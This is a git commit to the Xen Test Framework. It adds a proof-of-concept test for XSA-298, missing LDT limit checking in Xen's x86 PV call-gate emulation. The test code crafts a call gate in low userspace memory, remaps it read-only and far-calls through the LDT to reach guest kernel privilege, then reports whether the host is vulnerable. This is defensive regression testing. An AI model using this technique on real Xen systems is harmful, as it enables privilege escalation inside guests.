From: Andrew Cooper Date: Tue, 7 May 2019 10:19:58 +0000 (+0100) Subject: XSA-298 PoC X-Git-Url: http://xenbits.xensource.com/gitweb?a=commitdiff_plain;h=58bcde1b9209bab1e51f5645a913998b9da14bce;p=xtf.git XSA-298 PoC --- diff --git a/arch/x86/include/arch/desc.h b/arch/x86/include/arch/desc.h index bc39e6c..165b068 100644 --- a/arch/x86/include/arch/desc.h +++ b/arch/x86/include/arch/desc.h @@ -114,23 +114,51 @@ struct __packed desc_ptr64 { uint64_t base; }; +/** + * Long mode lcall/ljmp memory operand. + * + * WARNING: Intel and AMD disagree on how large a far_ptr64 is. Intel uses 8 + * bytes offset, while AMD use 4. + * + * Initialisation of offset and encoding for an lcall/ljmp instruction needs + * per-vendor configuration. + */ +struct __packed far_ptr64 { + union { + uint64_t offset_intel; + struct { + uint32_t :32; + uint32_t offset_amd; + }; + }; + uint16_t selector; +}; + /** Protected mode lgdt/lidt table pointer. */ struct __packed desc_ptr32 { uint16_t limit; uint32_t base; }; +/** Protected mode lcall/ljmp memory operand. */ +struct __packed far_ptr32 { + uint32_t offset; + uint16_t selector; +}; + #if defined(__x86_64__) typedef struct desc_ptr64 desc_ptr; typedef struct seg_desc32 user_desc; typedef struct seg_gate64 gate_desc; +typedef struct far_ptr64 far_ptr; #elif defined(__i386__) typedef struct desc_ptr32 desc_ptr; typedef struct seg_desc32 user_desc; typedef struct seg_gate32 gate_desc; +typedef struct far_ptr32 far_ptr; #else # error Bad architecture for descriptor infrastructure diff --git a/arch/x86/include/arch/x86-gate.h b/arch/x86/include/arch/x86-gate.h index 5a41006..c02cccf 100644 --- a/arch/x86/include/arch/x86-gate.h +++ b/arch/x86/include/arch/x86-gate.h @@ -107,6 +107,13 @@ static inline void pack_task_gate(env_gate *g, unsigned int selector) pack_gate(g, 5, selector, 0, 0, 0); } +static inline void pack_call_gate( + env_gate *g, unsigned int sel, unsigned long offset, + unsigned int dpl, unsigned int other) +{ + pack_gate(g, 12, sel, offset, dpl, other); +} + static inline void pack_intr_gate( env_gate *g, unsigned int sel, unsigned long offset, unsigned int dpl, unsigned int other) diff --git a/docs/all-tests.dox b/docs/all-tests.dox index ce04a6d..5042912 100644 --- a/docs/all-tests.dox +++ b/docs/all-tests.dox @@ -140,6 +140,9 @@ XSA-293 - See @ref test-pv-fsgsbase. @subpage test-xsa-296 - VCPUOP_initialise DoS. +@subpage test-xsa-298 - missing descriptor table limit checking in x86 PV +emulation. + @section index-utility Utilities diff --git a/tests/xsa-298/Makefile b/tests/xsa-298/Makefile new file mode 100644 index 0000000..c41b123 --- /dev/null +++ b/tests/xsa-298/Makefile @@ -0,0 +1,9 @@ +include $(ROOT)/build/common.mk + +NAME := xsa-298 +CATEGORY := xsa +TEST-ENVS := $(PV_ENVIRONMENTS) + +obj-perenv += main.o + +include $(ROOT)/build/gen.mk diff --git a/tests/xsa-298/main.c b/tests/xsa-298/main.c new file mode 100644 index 0000000..9a62bb2 --- /dev/null +++ b/tests/xsa-298/main.c @@ -0,0 +1,139 @@ +/** + * @file tests/xsa-298/main.c + * @ref test-xsa-298 + * + * @page test-xsa-298 XSA-298 + * + * Advisory: [XSA-298](https://xenbits.xen.org/xsa/advisory-298.html) + * + * The pv32 ABI allows the use of call gates, because in the days of 32bit + * CPUs with 4 full rings of protection, they really did work. When 64bit + * CPUs came along, the use of call gates was restricted to only targeting + * 64bit code segments. Therefore, a 64bit Xen running a 32bit PV guest has + * to emulate call gates to maintain the pv32 ABI. + * + * The emulation bug is that the LDT limit, as set by the kernel, isn't + * respected. + * + * Crafty userspace can therefore use two properties of Xen: + * + * 1) LDT frames undergo type promotion on first use, rather than up-front at + * context switch time. + * 2) The way a guest kernel indicates "no LDT" to Xen is to set its linear + * address to 0. + * + * and the common behaviour that no-one uses LDTs these days to escalate its + * privileges into the guest kernel. + * + * It does so by writing a suitable looking gate somewhere in the range 0 to + * 64k, remapping the gate as read-only (so it will successfully type + * promote), then attempting to use the gate via the LDT. + * + * Xen's emulation skips the LDT limit check (which should be 0, and disallow + * the LDT reference), finds a read-only frame which successfully promotes to + * being a seg-desc frame, then proceeds to emulate the call itself. + * + * @see tests/xsa-298/main.c + */ +#include + +const char test_title[] = "XSA-298 PoC"; + +#define GATE_SEL (0x1000 | X86_SEL_LDT | 3) + +unsigned int gate_target(void); +asm ("gate_target:;" + "mov %cs, %eax;" +#ifdef __x86_64__ + "rex64 " +#endif + "lret;"); + +static void __user_text user1(void) +{ + env_gate *gate = _p(GATE_SEL & PAGE_MASK); + + pack_call_gate(gate, __KERN_CS, _u(&gate_target), 3, 0); +} + +static unsigned long __user_text user2(void) +{ + /* + * Don't put on the stack. Some versions of Clang try to initialise it by + * copying out of .rodata which is a supervisor mapping. + */ + static far_ptr __user_data ptr = { .selector = GATE_SEL, }; + const char *vendor_ptr = _p(&ptr); + unsigned int res = 0; + + if ( IS_DEFINED(CONFIG_64BIT) && vendor_is_amd ) + vendor_ptr += 4; + + asm volatile ("1:" +#ifdef __x86_64__ + "rex64 " +#endif + "lcall *%[ptr]; 2:" + _ASM_EXTABLE_HANDLER(1b, 2b, %P[rec]) + : "+a" (res) + : [rec] "p" (ex_record_fault_eax), + [ptr] "m" (*vendor_ptr), + /* Pretend to read all of ptr, or it gets optimised away. */ + "m" (ptr)); + + return res; +} + +static int remap_linear(const void *linear, uint64_t flags) +{ + intpte_t nl1e = pte_from_virt(linear, flags); + + return hypercall_update_va_mapping(_u(linear), nl1e, UVMF_INVLPG); +} + +void test_main(void) +{ + env_gate *gate = _p(GATE_SEL & PAGE_MASK); + unsigned int res; + + /* + * Prepare userspace memory. + */ + memset(gate, 0, PAGE_SIZE); + remap_linear(gate, PF_SYM(AD, U, RW, P)); + + /* + * Simulate a piece of userspace making the attack, with an + * mprotect(PROT_READ) syscall in the middle. + */ + exec_user_void(user1); + remap_linear(gate, PF_SYM(AD, U, P)); + res = exec_user(user2); + + /* + * Interpret the result. Successful use of the call gate should return + * the running %cs, while a fixed Xen should fail the far call with a #GP + * fault. + */ + switch ( res ) + { + case __KERN_CS: + return xtf_failure("Fail: vulnerable to XSA-298\n"); + + case EXINFO_SYM(GP, GATE_SEL & ~X86_SEL_RPL_MASK): + return xtf_success("Success: Not vulnerable to XSA-298\n"); + + default: + return xtf_failure("Fail: Unexpected return value %#x\n", res); + } +} + +/* + * Local variables: + * mode: C + * c-file-style: "BSD" + * c-basic-offset: 4 + * tab-width: 4 + * indent-tabs-mode: nil + * End: + */